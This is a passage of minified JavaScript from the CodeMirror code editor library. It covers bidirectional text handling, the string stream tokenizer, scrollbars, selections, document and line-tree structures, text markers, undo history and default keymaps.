1536):1774<=a&&2220>=a?"r":8192<=a&&8203>=a?"w":8204==a?"b":"L"}function b(a,b,d){this.level=a;this.from=b;this.to=d}var c=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,d=/[stwN]/,e=/[LRr]/,f=/[Lb1n]/,g=/[1n]/;return function(h,k){var l="ltr"==k?"L":"R";if(0==h.length||"ltr"==k&&!c.test(h))return!1;for(var m=h.length,p=[],n=0;n<m;++n)p.push(a(h.charCodeAt(n)));for(var n=0,q=l;n<m;++n){var r=p[n];"m"==r?p[n]=q:q=r}n=0;for(q=l;n<m;++n)r=p[n],"1"==r&&"r"==q?p[n]="n":e.test(r)&&(q=r,"r"==r&&(p[n]="R"));
n=1;for(q=p[0];n<m-1;++n)r=p[n],"+"==r&&"1"==q&&"1"==p[n+1]?p[n]="1":","!=r||q!=p[n+1]||"1"!=q&&"n"!=q||(p[n]=q),q=r;for(n=0;n<m;++n)if(q=p[n],","==q)p[n]="N";else if("%"==q){for(q=n+1;q<m&&"%"==p[q];++q);for(r=n&&"!"==p[n-1]||q<m&&"1"==p[q]?"1":"N";n<q;++n)p[n]=r;n=q-1}n=0;for(q=l;n<m;++n)r=p[n],"L"==q&&"1"==r?p[n]="L":e.test(r)&&(q=r);for(q=0;q<m;++q)if(d.test(p[q])){for(n=q+1;n<m&&d.test(p[n]);++n);r="L"==(q?p[q-1]:l);for(r=r==("L"==(n<m?p[n]:l))?r?"L":"R":l;q<n;++q)p[q]=r;q=n-1}for(var l=[],u,
n=0;n<m;)if(f.test(p[n])){q=n;for(++n;n<m&&f.test(p[n]);++n);l.push(new b(0,q,n))}else{var t=n,q=l.length;for(++n;n<m&&"L"!=p[n];++n);for(r=t;r<n;)if(g.test(p[r])){t<r&&l.splice(q,0,new b(1,t,r));t=r;for(++r;r<n&&g.test(p[r]);++r);l.splice(q,0,new b(2,t,r));t=r}else++r;t<n&&l.splice(q,0,new b(1,t,n))}1==l[0].level&&(u=h.match(/^\s+/))&&(l[0].from=u[0].length,l.unshift(new b(0,0,u[0].length)));1==y(l).level&&(u=h.match(/\s+$/))&&(y(l).to-=u[0].length,l.push(new b(0,m-u[0].length,m)));return"rtl"==
k?l.reverse():l}}(),lc=[],v=function(a,b,c){a.addEventListener?a.addEventListener(b,c,!1):a.attachEvent?a.attachEvent("on"+b,c):(a=a._handlers||(a._handlers={}),a[b]=(a[b]||lc).concat(c))},Wg=function(){if(D&&9>B)return!1;var a=t("div");return"draggable"in a||"dragDrop"in a}(),bd,hd,Od=3!="\n\nb".split(/\n/).length?function(a){for(var b=0,c=[],d=a.length;b<=d;){var e=a.indexOf("\n",b);-1==e&&(e=a.length);var f=a.slice(b,"\r"==a.charAt(e-1)?e-1:e),g=f.indexOf("\r");-1!=g?(c.push(f.slice(0,g)),b+=g+
1):(c.push(f),b=e+1)}return c}:function(a){return a.split(/\r\n?|\n/)},hh=window.getSelection?function(a){try{return a.selectionStart!=a.selectionEnd}catch(b){return!1}}:function(a){try{var b=a.ownerDocument.selection.createRange()}catch(c){}return b&&b.parentElement()==a?0!=b.compareEndPoints("StartToEnd",b):!1},Qg=function(){var a=t("div");if("oncopy"in a)return!0;a.setAttribute("oncopy","return;");return"function"==typeof a.oncopy}(),nd=null,cd={},bb={},cb={},L=function(a,b,c){this.pos=this.start=
0;this.string=a;this.tabSize=b||8;this.lineStart=this.lastColumnPos=this.lastColumnValue=0;this.lineOracle=c};L.prototype.eol=function(){return this.pos>=this.string.length};L.prototype.sol=function(){return this.pos==this.lineStart};L.prototype.peek=function(){return this.string.charAt(this.pos)||void 0};L.prototype.next=function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)};L.prototype.eat=function(a){var b=this.string.charAt(this.pos);if("string"==typeof a?b==a:b&&(a.test?
a.test(b):a(b)))return++this.pos,b};L.prototype.eatWhile=function(a){for(var b=this.pos;this.eat(a););return this.pos>b};L.prototype.eatSpace=function(){for(var a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>a};L.prototype.skipToEnd=function(){this.pos=this.string.length};L.prototype.skipTo=function(a){a=this.string.indexOf(a,this.pos);if(-1<a)return this.pos=a,!0};L.prototype.backUp=function(a){this.pos-=a};L.prototype.column=function(){this.lastColumnPos<
this.start&&(this.lastColumnValue=fa(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start);return this.lastColumnValue-(this.lineStart?fa(this.string,this.lineStart,this.tabSize):0)};L.prototype.indentation=function(){return fa(this.string,null,this.tabSize)-(this.lineStart?fa(this.string,this.lineStart,this.tabSize):0)};L.prototype.match=function(a,b,c){if("string"==typeof a){var d=function(a){return c?a.toLowerCase():a},e=this.string.substr(this.pos,
a.length);if(d(e)==d(a))return!1!==b&&(this.pos+=a.length),!0}else{if((a=this.string.slice(this.pos).match(a))&&0<a.index)return null;a&&!1!==b&&(this.pos+=a[0].length);return a}};L.prototype.current=function(){return this.string.slice(this.start,this.pos)};L.prototype.hideFirstChars=function(a,b){this.lineStart+=a;try{return b()}finally{this.lineStart-=a}};L.prototype.lookAhead=function(a){var b=this.lineOracle;return b&&b.lookAhead(a)};var nc=function(a,b){this.state=a;this.lookAhead=b},ta=function(a,
b,c,d){this.state=b;this.doc=a;this.line=c;this.maxLookAhead=d||0};ta.prototype.lookAhead=function(a){var b=this.doc.getLine(this.line+a);null!=b&&a>this.maxLookAhead&&(this.maxLookAhead=a);return b};ta.prototype.nextLine=function(){this.line++;0<this.maxLookAhead&&this.maxLookAhead--};ta.fromSaved=function(a,b,c){return b instanceof nc?new ta(a,Ma(a.mode,b.state),c,b.lookAhead):new ta(a,Ma(a.mode,b),c)};ta.prototype.save=function(a){a=!1!==a?Ma(this.doc.mode,this.state):this.state;return 0<this.maxLookAhead?
new nc(a,this.maxLookAhead):a};var le=function(a,b,c){this.start=a.start;this.end=a.pos;this.string=a.current();this.type=b||null;this.state=c},gb=function(a,b,c){this.text=a;Xd(this,b);this.height=c?c(this):1};gb.prototype.lineNo=function(){return E(this)};ab(gb);var ng={},mg={},db=null,xb=null,ze={left:0,right:0,top:0,bottom:0},Qa,Za=function(a,b,c){this.cm=c;var d=this.vert=t("div",[t("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar"),e=this.horiz=t("div",[t("div",null,null,"height: 100%; min-height: 1px")],
"CodeMirror-hscrollbar");a(d);a(e);v(d,"scroll",function(){d.clientHeight&&b(d.scrollTop,"vertical")});v(e,"scroll",function(){e.clientWidth&&b(e.scrollLeft,"horizontal")});this.checkedZeroWidth=!1;D&&8>B&&(this.horiz.style.minHeight=this.vert.style.minWidth="18px")};Za.prototype.update=function(a){var b=a.scrollWidth>a.clientWidth+1,c=a.scrollHeight>a.clientHeight+1,d=a.nativeBarWidth;c?(this.vert.style.display="block",this.vert.style.bottom=b?d+"px":"0",this.vert.firstChild.style.height=Math.max(0,
a.scrollHeight-a.clientHeight+(a.viewHeight-(b?d:0)))+"px"):(this.vert.style.display="",this.vert.firstChild.style.height="0");b?(this.horiz.style.display="block",this.horiz.style.right=c?d+"px":"0",this.horiz.style.left=a.barLeft+"px",this.horiz.firstChild.style.width=Math.max(0,a.scrollWidth-a.clientWidth+(a.viewWidth-a.barLeft-(c?d:0)))+"px"):(this.horiz.style.display="",this.horiz.firstChild.style.width="0");!this.checkedZeroWidth&&0<a.clientHeight&&(0==d&&this.zeroWidthHack(),this.checkedZeroWidth=
!0);return{right:c?d:0,bottom:b?d:0}};Za.prototype.setScrollLeft=function(a){this.horiz.scrollLeft!=a&&(this.horiz.scrollLeft=a);this.disableHoriz&&this.enableZeroWidthBar(this.horiz,this.disableHoriz,"horiz")};Za.prototype.setScrollTop=function(a){this.vert.scrollTop!=a&&(this.vert.scrollTop=a);this.disableVert&&this.enableZeroWidthBar(this.vert,this.disableVert,"vert")};Za.prototype.zeroWidthHack=function(){this.horiz.style.height=this.vert.style.width=ia&&!fh?"12px":"18px";this.horiz.style.pointerEvents=
this.vert.style.pointerEvents="none";this.disableHoriz=new Xa;this.disableVert=new Xa};Za.prototype.enableZeroWidthBar=function(a,b,c){function d(){var e=a.getBoundingClientRect();("vert"==c?document.elementFromPoint(e.right-1,(e.top+e.bottom)/2):document.elementFromPoint((e.right+e.left)/2,e.bottom-1))!=a?a.style.pointerEvents="none":b.set(1E3,d)}a.style.pointerEvents="auto";b.set(1E3,d)};Za.prototype.clear=function(){var a=this.horiz.parentNode;a.removeChild(this.horiz);a.removeChild(this.vert)};
var $b=function(){};$b.prototype.update=function(){return{bottom:0,right:0}};$b.prototype.setScrollLeft=function(){};$b.prototype.setScrollTop=function(){};$b.prototype.clear=function(){};var Se={"native":Za,"null":$b},wg=0,vc=function(a,b,c){var d=a.display;this.viewport=b;this.visible=td(d,a.doc,b);this.editorIsHidden=!d.wrapper.offsetWidth;this.wrapperHeight=d.wrapper.clientHeight;this.wrapperWidth=d.wrapper.clientWidth;this.oldDisplayWidth=Na(a);this.force=c;this.dims=md(a);this.events=[]};vc.prototype.signal=
function(a,b){ga(a,b)&&this.events.push(arguments)};vc.prototype.finish=function(){for(var a=0;a<this.events.length;a++)J.apply(null,this.events[a])};var xc=0,da=null;D?da=-.53:xa?da=15:pc?da=-.7:Qf&&(da=-1/3);var ea=function(a,b){this.ranges=a;this.primIndex=b};ea.prototype.primary=function(){return this.ranges[this.primIndex]};ea.prototype.equals=function(a){if(a==this)return!0;if(a.primIndex!=this.primIndex||a.ranges.length!=this.ranges.length)return!1;for(var b=0;b<this.ranges.length;b++){var c=
this.ranges[b],d=a.ranges[b];if(!Rc(c.anchor,d.anchor)||!Rc(c.head,d.head))return!1}return!0};ea.prototype.deepCopy=function(){for(var a=[],b=0;b<this.ranges.length;b++)a[b]=new C(Sc(this.ranges[b].anchor),Sc(this.ranges[b].head));return new ea(a,this.primIndex)};ea.prototype.somethingSelected=function(){for(var a=0;a<this.ranges.length;a++)if(!this.ranges[a].empty())return!0;return!1};ea.prototype.contains=function(a,b){b||(b=a);for(var c=0;c<this.ranges.length;c++){var d=this.ranges[c];if(0<=A(b,
d.from())&&0>=A(a,d.to()))return c}return-1};var C=function(a,b){this.anchor=a;this.head=b};C.prototype.from=function(){return ic(this.anchor,this.head)};C.prototype.to=function(){return hc(this.anchor,this.head)};C.prototype.empty=function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch};Lb.prototype={chunkSize:function(){return this.lines.length},removeInner:function(a,b){for(var c=a,d=a+b;c<d;++c){var e=this.lines[c];this.height-=e.height;var f=e;f.parent=null;Wd(f);R(e,
"delete")}this.lines.splice(a,b)},collapse:function(a){a.push.apply(a,this.lines)},insertInner:function(a,b,c){this.height+=c;this.lines=this.lines.slice(0,a).concat(b).concat(this.lines.slice(a));for(a=0;a<b.length;++a)b[a].parent=this},iterN:function(a,b,c){for(b=a+b;a<b;++a)if(c(this.lines[a]))return!0}};Mb.prototype={chunkSize:function(){return this.size},removeInner:function(a,b){this.size-=b;for(var c=0;c<this.children.length;++c){var d=this.children[c],e=d.chunkSize();if(a<e){var f=Math.min(b,
e-a),g=d.height;d.removeInner(a,f);this.height-=g-d.height;e==f&&(this.children.splice(c--,1),d.parent=null);if(0==(b-=f))break;a=0}else a-=e}25>this.size-b&&(1<this.children.length||!(this.children[0]instanceof Lb))&&(a=[],this.collapse(a),this.children=[new Lb(a)],this.children[0].parent=this)},collapse:function(a){for(var b=0;b<this.children.length;++b)this.children[b].collapse(a)},insertInner:function(a,b,c){this.size+=b.length;this.height+=c;for(var d=0;d<this.children.length;++d){var e=this.children[d],
f=e.chunkSize();if(a<=f){e.insertInner(a,b,c);if(e.lines&&50<e.lines.length){for(b=a=e.lines.length%25+25;b<e.lines.length;)c=new Lb(e.lines.slice(b,b+=25)),e.height-=c.height,this.children.splice(++d,0,c),c.parent=this;e.lines=e.lines.slice(0,a);this.maybeSpill()}break}a-=f}},maybeSpill:function(){if(!(10>=this.children.length)){var a=this;do{var b=a.children.splice(a.children.length-5,5),b=new Mb(b);if(a.parent){a.size-=b.size;a.height-=b.height;var c=Q(a.parent.children,a);a.parent.children.splice(c+
1,0,b)}else c=new Mb(a.children),c.parent=a,a.children=[c,b],a=c;b.parent=a.parent}while(10<a.children.length);a.parent.maybeSpill()}},iterN:function(a,b,c){for(var d=0;d<this.children.length;++d){var e=this.children[d],f=e.chunkSize();if(a<f){f=Math.min(b,f-a);if(e.iterN(a,f,c))return!0;if(0==(b-=f))break;a=0}else a-=f}}};var Nb=function(a,b,c){if(c)for(var d in c)c.hasOwnProperty(d)&&(this[d]=c[d]);this.doc=a;this.node=b};Nb.prototype.clear=function(){var a=this.doc.cm,b=this.line.widgets,c=this.line,
d=E(c);if(null!=d&&b){for(var e=0;e<b.length;++e)b[e]==this&&b.splice(e--,1);b.length||(c.widgets=null);var f=zb(this);ma(c,Math.max(0,c.height-f));a&&(aa(a,function(){var b=-f;oa(c)<(a.curOp&&a.curOp.scrollTop||a.doc.scrollTop)&&tc(a,b);Ba(a,d,"widget")}),R(a,"lineWidgetCleared",a,this,d))}};Nb.prototype.changed=function(){var a=this,b=this.height,c=this.doc.cm,d=this.line;this.height=null;var e=zb(this)-b;e&&(ma(d,d.height+e),c&&aa(c,function(){c.curOp.forceUpdate=!0;oa(d)<(c.curOp&&c.curOp.scrollTop||
c.doc.scrollTop)&&tc(c,e);R(c,"lineWidgetChanged",c,a,E(d))}))};ab(Nb);var vf=0,Da=function(a,b){this.lines=[];this.type=b;this.doc=a;this.id=++vf};Da.prototype.clear=function(){if(!this.explicitlyCleared){var a=this.doc.cm,b=a&&!a.curOp;b&&Ua(a);if(ga(this,"clear")){var c=this.find();c&&R(this,"clear",c.from,c.to)}for(var d=c=null,e=0;e<this.lines.length;++e){var f=this.lines[e],g=sb(f.markedSpans,this);a&&!this.collapsed?Ba(a,E(f),"text"):a&&(null!=g.to&&(d=E(f)),null!=g.from&&(c=E(f)));for(var h=
f,k=void 0,l=f.markedSpans,m=g,p=0;p<l.length;++p)l[p]!=m&&(k||(k=[])).push(l[p]);h.markedSpans=k;null==g.from&&this.collapsed&&!Ka(this.doc,f)&&a&&ma(f,Pa(a.display))}if(a&&this.collapsed&&!a.options.lineWrapping)for(e=0;e<this.lines.length;++e)f=na(this.lines[e]),g=kc(f),g>a.display.maxLineLength&&(a.display.maxLine=f,a.display.maxLineLength=g,a.display.maxLineChanged=!0);null!=c&&a&&this.collapsed&&Y(a,c,d+1);this.lines.length=0;this.explicitlyCleared=!0;this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=
!1,a&&lf(a.doc));a&&R(a,"markerCleared",a,this,c,d);b&&Va(a);this.parent&&this.parent.clear()}};Da.prototype.find=function(a,b){null==a&&"bookmark"==this.type&&(a=1);for(var c,d,e=0;e<this.lines.length;++e){var f=this.lines[e],g=sb(f.markedSpans,this);if(null!=g.from&&(c=r(b?f:E(f),g.from),-1==a))return c;if(null!=g.to&&(d=r(b?f:E(f),g.to),1==a))return d}return c&&{from:c,to:d}};Da.prototype.changed=function(){var a=this,b=this.find(-1,!0),c=this,d=this.doc.cm;b&&d&&aa(d,function(){var e=b.line,f=
E(b.line);if(f=ld(d,f))Ae(f),d.curOp.selectionChanged=d.curOp.forceUpdate=!0;d.curOp.updateMaxLine=!0;Ka(c.doc,e)||null==c.height||(f=c.height,c.height=null,(f=zb(c)-f)&&ma(e,e.height+f));R(d,"markerChanged",d,a)})};Da.prototype.attachLine=function(a){if(!this.lines.length&&this.doc.cm){var b=this.doc.cm.curOp;b.maybeHiddenMarkers&&-1!=Q(b.maybeHiddenMarkers,this)||(b.maybeUnhiddenMarkers||(b.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(a)};Da.prototype.detachLine=function(a){this.lines.splice(Q(this.lines,
a),1);!this.lines.length&&this.doc.cm&&(a=this.doc.cm.curOp,(a.maybeHiddenMarkers||(a.maybeHiddenMarkers=[])).push(this))};ab(Da);var Ob=function(a,b){this.markers=a;this.primary=b;for(b=0;b<a.length;++b)a[b].parent=this};Ob.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var a=0;a<this.markers.length;++a)this.markers[a].clear();R(this,"clear")}};Ob.prototype.find=function(a,b){return this.primary.find(a,b)};ab(Ob);var ih=0,Z=function(a,b,c,d,e){if(!(this instanceof
Z))return new Z(a,b,c,d,e);null==c&&(c=0);Mb.call(this,[new Lb([new gb("",null)])]);this.first=c;this.scrollTop=this.scrollLeft=0;this.cantEdit=!1;this.cleanGeneration=1;this.modeFrontier=this.highlightFrontier=c;c=r(c,0);this.sel=wa(c);this.history=new yc(null);this.id=++ih;this.modeOption=b;this.lineSep=d;this.direction="rtl"==e?"rtl":"ltr";this.extend=!1;"string"==typeof a&&(a=this.splitLines(a));Cd(this,{from:c,to:c,text:a});S(this,wa(c),qa)};Z.prototype=Rd(Mb.prototype,{constructor:Z,iter:function(a,
b,c){c?this.iterN(a-this.first,b-a,c):this.iterN(this.first,this.first+this.size,a)},insert:function(a,b){for(var c=0,d=0;d<b.length;++d)c+=b[d].height;this.insertInner(a-this.first,b,c)},remove:function(a,b){this.removeInner(a-this.first,b)},getValue:function(a){var b=Pc(this,this.first,this.first+this.size);return!1===a?b:b.join(a||this.lineSeparator())},setValue:P(function(a){var b=r(this.first,0),c=this.first+this.size-1;jb(this,{from:b,to:r(c,u(this,c).text.length),text:this.splitLines(a),origin:"setValue",
full:!0},!0);this.cm&&Eb(this.cm,0,0);S(this,wa(b),qa)}),replaceRange:function(a,b,c,d){b=x(this,b);c=c?x(this,c):b;kb(this,a,b,c,d)},getRange:function(a,b,c){a=Ha(this,x(this,a),x(this,b));return!1===c?a:a.join(c||this.lineSeparator())},getLine:function(a){return(a=this.getLineHandle(a))&&a.text},getLineHandle:function(a){if(rb(this,a))return u(this,a)},getLineNumber:function(a){return E(a)},getLineHandleVisualStart:function(a){"number"==typeof a&&(a=u(this,a));return na(a)},lineCount:function(){return this.size},
firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(a){return x(this,a)},getCursor:function(a){var b=this.sel.primary();return null==a||"head"==a?b.head:"anchor"==a?b.anchor:"end"==a||"to"==a||!1===a?b.to():b.from()},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:P(function(a,b,c){a=x(this,"number"==typeof a?r(a,b||0):a);S(this,wa(a,null),c)}),setSelection:P(function(a,
b,c){var d=x(this,a);a=x(this,b||a);S(this,wa(d,a),c)}),extendSelection:P(function(a,b,c){Ac(this,x(this,a),b&&x(this,b),c)}),extendSelections:P(function(a,b){gf(this,Ud(this,a),b)}),extendSelectionsBy:P(function(a,b){a=ec(this.sel.ranges,a);gf(this,Ud(this,a),b)}),setSelections:P(function(a,b,c){if(a.length){for(var d=[],e=0;e<a.length;e++)d[e]=new C(x(this,a[e].anchor),x(this,a[e].head));null==b&&(b=Math.min(a.length-1,this.sel.primIndex));S(this,la(d,b),c)}}),addSelection:P(function(a,b,c){var d=
this.sel.ranges.slice(0);d.push(new C(x(this,a),x(this,b||a)));S(this,la(d,d.length-1),c)}),getSelection:function(a){for(var b=this.sel.ranges,c,d=0;d<b.length;d++){var e=Ha(this,b[d].from(),b[d].to());c=c?c.concat(e):e}return!1===a?c:c.join(a||this.lineSeparator())},getSelections:function(a){for(var b=[],c=this.sel.ranges,d=0;d<c.length;d++){var e=Ha(this,c[d].from(),c[d].to());!1!==a&&(e=e.join(a||this.lineSeparator()));b[d]=e}return b},replaceSelection:function(a,b,c){for(var d=[],e=0;e<this.sel.ranges.length;e++)d[e]=
a;this.replaceSelections(d,b,c||"+input")},replaceSelections:P(function(a,b,c){for(var d=[],e=this.sel,f=0;f<e.ranges.length;f++){var g=e.ranges[f];d[f]={from:g.from(),to:g.to(),text:this.splitLines(a[f]),origin:c}}if(a=b&&"end"!=b){a=[];e=c=r(this.first,0);for(f=0;f<d.length;f++){var h=d[f],g=Ze(h.from,c,e),k=Ze(Ca(h),c,e);c=h.to;e=k;"around"==b?(h=this.sel.ranges[f],h=0>A(h.head,h.anchor),a[f]=new C(h?k:g,h?g:k)):a[f]=new C(g,g)}a=new ea(a,this.sel.primIndex)}b=a;for(a=d.length-1;0<=a;a--)jb(this,
d[a]);b?hf(this,b):this.cm&&eb(this.cm)}),undo:P(function(){Cc(this,"undo")}),redo:P(function(){Cc(this,"redo")}),undoSelection:P(function(){Cc(this,"undo",!0)}),redoSelection:P(function(){Cc(this,"redo",!0)}),setExtending:function(a){this.extend=a},getExtending:function(){return this.extend},historySize:function(){for(var a=this.history,b=0,c=0,d=0;d<a.done.length;d++)a.done[d].ranges||++b;for(d=0;d<a.undone.length;d++)a.undone[d].ranges||++c;return{undo:b,redo:c}},clearHistory:function(){this.history=
new yc(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(a){a&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null);return this.history.generation},isClean:function(a){return this.history.generation==(a||this.cleanGeneration)},getHistory:function(){return{done:hb(this.history.done),undone:hb(this.history.undone)}},setHistory:function(a){var b=this.history=new yc(this.history.maxGeneration);b.done=hb(a.done.slice(0),
null,!0);b.undone=hb(a.undone.slice(0),null,!0)},setGutterMarker:P(function(a,b,c){return Kb(this,a,"gutter",function(a){var d=a.gutterMarkers||(a.gutterMarkers={});d[b]=c;!c&&Sd(d)&&(a.gutterMarkers=null);return!0})}),clearGutter:P(function(a){var b=this;this.iter(function(c){c.gutterMarkers&&c.gutterMarkers[a]&&Kb(b,c,"gutter",function(){c.gutterMarkers[a]=null;Sd(c.gutterMarkers)&&(c.gutterMarkers=null);return!0})})}),lineInfo:function(a){if("number"==typeof a){if(!rb(this,a))return null;var b=
a;a=u(this,a);if(!a)return null}else if(b=E(a),null==b)return null;return{line:b,handle:a,text:a.text,gutterMarkers:a.gutterMarkers,textClass:a.textClass,bgClass:a.bgClass,wrapClass:a.wrapClass,widgets:a.widgets}},addLineClass:P(function(a,b,c){return Kb(this,a,"gutter"==b?"gutter":"class",function(a){var d="text"==b?"textClass":"background"==b?"bgClass":"gutter"==b?"gutterClass":"wrapClass";if(a[d]){if(w(c).test(a[d]))return!1;a[d]+=" "+c}else a[d]=c;return!0})}),removeLineClass:P(function(a,b,c){return Kb(this,
a,"gutter"==b?"gutter":"class",function(a){var d="text"==b?"textClass":"background"==b?"bgClass":"gutter"==b?"gutterClass":"wrapClass",f=a[d];if(f)if(null==c)a[d]=null;else{var g=f.match(w(c));if(!g)return!1;var h=g.index+g[0].length;a[d]=f.slice(0,g.index)+(g.index&&h!=f.length?" ":"")+f.slice(h)||null}else return!1;return!0})}),addLineWidget:P(function(a,b,c){return Fg(this,a,b,c)}),removeLineWidget:function(a){a.clear()},markText:function(a,b,c){return lb(this,x(this,a),x(this,b),c,c&&c.type||
"range")},setBookmark:function(a,b){b={replacedWith:b&&(null==b.nodeType?b.widget:b),insertLeft:b&&b.insertLeft,clearWhenEmpty:!1,shared:b&&b.shared,handleMouseEvents:b&&b.handleMouseEvents};a=x(this,a);return lb(this,a,a,b,"bookmark")},findMarksAt:function(a){a=x(this,a);var b=[],c=u(this,a.line).markedSpans;if(c)for(var d=0;d<c.length;++d){var e=c[d];(null==e.from||e.from<=a.ch)&&(null==e.to||e.to>=a.ch)&&b.push(e.marker.parent||e.marker)}return b},findMarks:function(a,b,c){a=x(this,a);b=x(this,
b);var d=[],e=a.line;this.iter(a.line,b.line+1,function(f){if(f=f.markedSpans)for(var g=0;g<f.length;g++){var h=f[g];null!=h.to&&e==a.line&&a.ch>=h.to||null==h.from&&e!=a.line||null!=h.from&&e==b.line&&h.from>=b.ch||c&&!c(h.marker)||d.push(h.marker.parent||h.marker)}++e});return d},getAllMarks:function(){var a=[];this.iter(function(b){if(b=b.markedSpans)for(var c=0;c<b.length;++c)null!=b[c].from&&a.push(b[c].marker)});return a},posFromIndex:function(a){var b,c=this.first,d=this.lineSeparator().length;
this.iter(function(e){e=e.text.length+d;if(e>a)return b=a,!0;a-=e;++c});return x(this,r(c,b))},indexFromPos:function(a){a=x(this,a);var b=a.ch;if(a.line<this.first||0>a.ch)return 0;var c=this.lineSeparator().length;this.iter(this.first,a.line,function(a){b+=a.text.length+c});return b},copy:function(a){var b=new Z(Pc(this,this.first,this.first+this.size),this.modeOption,this.first,this.lineSep,this.direction);b.scrollTop=this.scrollTop;b.scrollLeft=this.scrollLeft;b.sel=this.sel;b.extend=!1;a&&(b.history.undoDepth=
this.history.undoDepth,b.setHistory(this.getHistory()));return b},linkedDoc:function(a){a||(a={});var b=this.first,c=this.first+this.size;null!=a.from&&a.from>b&&(b=a.from);null!=a.to&&a.to<c&&(c=a.to);b=new Z(Pc(this,b,c),a.mode||this.modeOption,b,this.lineSep,this.direction);a.sharedHist&&(b.history=this.history);(this.linked||(this.linked=[])).push({doc:b,sharedHist:a.sharedHist});b.linked=[{doc:this,isParent:!0,sharedHist:a.sharedHist}];a=wf(this);for(c=0;c<a.length;c++){var d=a[c],e=d.find(),
f=b.clipPos(e.from),e=b.clipPos(e.to);A(f,e)&&(f=lb(b,f,e,d.primary,d.primary.type),d.markers.push(f),f.parent=d)}return b},unlinkDoc:function(a){a instanceof G&&(a=a.doc);if(this.linked)for(var b=0;b<this.linked.length;++b)if(this.linked[b].doc==a){this.linked.splice(b,1);a.unlinkDoc(this);Hg(wf(this));break}if(a.history==this.history){var c=[a.id];Wa(a,function(a){return c.push(a.id)},!0);a.history=new yc(null);a.history.done=hb(this.history.done,c);a.history.undone=hb(this.history.undone,c)}},
iterLinkedDocs:function(a){Wa(this,a)},getMode:function(){return this.mode},getEditor:function(){return this.cm},splitLines:function(a){return this.lineSep?a.split(this.lineSep):Od(a)},lineSeparator:function(){return this.lineSep||"\n"},setDirection:P(function(a){"rtl"!=a&&(a="ltr");a!=this.direction&&(this.direction=a,this.iter(function(a){return a.order=null}),this.cm&&Bg(this.cm))})});Z.prototype.eachLine=Z.prototype.iter;for(var yf=0,Pf=!1,Ea={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",
17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",106:"*",107:"=",109:"-",110:".",111:"/",127:"Delete",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",
63302:"Insert"},ac=0;10>ac;ac++)Ea[ac+48]=Ea[ac+96]=String(ac);for(var Ic=65;90>=Ic;Ic++)Ea[Ic]=String.fromCharCode(Ic);for(var bc=1;12>=bc;bc++)Ea[bc+111]=Ea[bc+63235]="F"+bc;var Pb={basic:{Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",
Esc:"singleSelection"},pcDefault:{"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll",
"Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"},emacsy:{"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars",
"Ctrl-O":"openLine"},macDefault:{"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace",
